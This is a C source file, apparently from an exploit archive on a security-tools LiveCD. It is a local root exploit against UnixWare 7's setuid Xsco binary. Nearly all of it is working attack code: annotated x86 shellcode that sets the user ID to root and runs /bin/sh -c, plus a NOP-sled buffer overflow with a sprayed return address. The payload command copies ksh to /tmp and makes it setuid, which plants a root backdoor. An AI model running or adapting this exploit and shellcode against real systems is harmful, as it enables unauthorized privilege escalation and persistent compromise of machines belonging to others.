home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / sco / local / xsco.c < prev   
C/C++ Source or Header  |  2005-02-12  |  5KB  |  109 lines
  1. // UnixWare7 /usr/X/bin/Xsco local, K2/cheez
  2. //
  3. // Xsco produces some strange side effect's with the execve; it seems
  4. // that commands can not be run interactively.  Thanks to cheez for the
  5. // shellcode.
  6.  
  7. #include <unistd.h>
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11.  
  12.  
  13. char shell[] =
  14. /*   0 */ "\xeb\x5f"                         /* jmp springboard       */
  15. /* syscall:                                                           */
  16. /*   2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
  17. /*   9 */ "\xc3"                             /* ret                   */
  18. /* start:                                                             */
  19. /*  10 */ "\x5e"                             /* popl %esi             */
  20. /*  11 */ "\x31\xc0"                         /* xor %eax,%eax         */
  21. /*  13 */ "\x89\x46\x9d"                     /* movl %eax,-0x63(%esi) */
  22. /*  16 */ "\x88\x46\xa2"                     /* movb %al,-0x5e(%esi)  */
  23. /* seteuid:                                                           */
  24. /*  19 */ "\x31\xc0"                         /* xor %eax,%eax         */
  25. /*  21 */ "\x50"                             /* pushl %eax            */
  26. /*  22 */ "\xb0\x8d"                         /* movb $0x8d,%al        */
  27. /*  24 */ "\xe8\xe5\xff\xff\xff"             /* call syscall          */
  28. /*  29 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
  29. /* setuid:                                                            */
  30. /*  32 */ "\x31\xc0"                         /* xor %eax,%eax         */
  31. /*  34 */ "\x50"                             /* pushl %eax            */
  32. /*  35 */ "\xb0\x17"                         /* movb $0x17,%al        */
  33. /*  37 */ "\xe8\xd8\xff\xff\xff"             /* call syscall          */
  34. /*  42 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
  35. /* execve:                                                            */
  36. /*  45 */ "\x31\xc0"                         /* xor %eax,%eax         */
  37. /*  47 */ "\x50"                             /* pushl %eax            */
  38. /*  48 */ "\x56"                             /* pushl %esi            */
  39. /*  49 */ "\x8b\x1e"                         /* movl (%esi),%ebx      */
  40. /*  51 */ "\xf7\xdb"                         /* negl %ebx             */
  41. /*  53 */ "\x89\xf7"                         /* movl %esi,%edi        */
  42. /*  55 */ "\x83\xc7\x10"                     /* addl $0x10,%edi       */
  43. /*  58 */ "\x57"                             /* pushl %edi            */
  44. /*  59 */ "\x89\x3e"                         /* movl %edi,(%esi)      */
  45. /*  61 */ "\x83\xc7\x08"                     /* addl $0x8,%edi        */
  46. /*  64 */ "\x88\x47\xff"                     /* movb %al,-0x1(%edi)   */
  47. /*  67 */ "\x89\x7e\x04"                     /* movl %edi,0x4(%esi)   */
  48. /*  70 */ "\x83\xc7\x03"                     /* addl $0x3,%edi        */
  49. /*  73 */ "\x88\x47\xff"                     /* movb %al,-0x1(%edi)   */
  50. /*  76 */ "\x89\x7e\x08"                     /* movl %edi,0x8(%esi)   */
  51. /*  79 */ "\x01\xdf"                         /* addl %ebx,%edi        */
  52. /*  81 */ "\x88\x47\xff"                     /* movb %al,-0x1(%edi)   */
  53. /*  84 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
  54. /*  87 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
  55. /*  89 */ "\xe8\xa4\xff\xff\xff"             /* call syscall          */
  56. /*  94 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
  57. /* springboard:                                                       */
  58. /*  97 */ "\xe8\xa4\xff\xff\xff"             /* call start            */
  59. /* data:                                                              */
  60. /* 102 */ "\xff\xff\xff\xff"                 /* DATA                  */
  61. /* 106 */ "\xff\xff\xff\xff"                 /* DATA                  */
  62. /* 110 */ "\xff\xff\xff\xff"                 /* DATA                  */
  63. /* 114 */ "\xff\xff\xff\xff"                 /* DATA                  */
  64. /* 118 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
  65. /* 126 */ "\x2d\x63\xff";                    /* DATA                  */
  66.  
  67. #define SIZE 600
  68. #define NOPDEF 101
  69. #define DEFOFF -240
  70. #define LEN 102
  71.  
  72. const char x86_nop=0x90;
  73. long nop=NOPDEF,esp;
  74. long offset=DEFOFF;
  75. char buffer[SIZE];
  76.  
  77. long get_esp() { __asm__("movl %esp,%eax"); }
  78.  
  79. int main (int argc, char *argv[]) {
  80.     int i,len;
  81.     char *cmd = "cp /bin/ksh /tmp;chmod 4555 /tmp/ksh";
  82.  
  83.     memset(buffer, x86_nop, SIZE);
  84.  
  85.     len = strlen(cmd); len++; len = -len;
  86.     shell[LEN+0] = (len >>  0) & 0xff;
  87.     shell[LEN+1] = (len >>  8) & 0xff;
  88.     shell[LEN+2] = (len >> 16) & 0xff;
  89.     shell[LEN+3] = (len >> 24) & 0xff;
  90.  
  91.     if (argc > 1) offset += strtol(argv[1], NULL, 0);
  92.     if (argc > 2) nop += strtoul(argv[2], NULL, 0);
  93.     esp = get_esp();
  94.  
  95.     buffer[0]=':';
  96.     memcpy(buffer+nop, shell, strlen(shell));
  97.     memcpy(buffer+nop+strlen(shell), cmd,strlen(cmd));
  98.     memcpy(buffer+nop+strlen(shell)+strlen(cmd),"\xff",1);
  99.     for (i = nop+strlen(shell)+1+strlen(cmd); i < SIZE-4; i += 4) {
  100.         *((int *) &buffer[i]) = esp+offset;
  101.     }
  102.  
  103.     printf("jmp = [0x%x]\toffset = [%d]\tnop = [%d]\n",esp+offset,offset, nop);
  104.     execl("/usr/X/bin/Xsco", "Xsco", buffer, NULL);
  105.  
  106.     printf("exec failed!\n");
  107.     return 0;
  108. }
  109.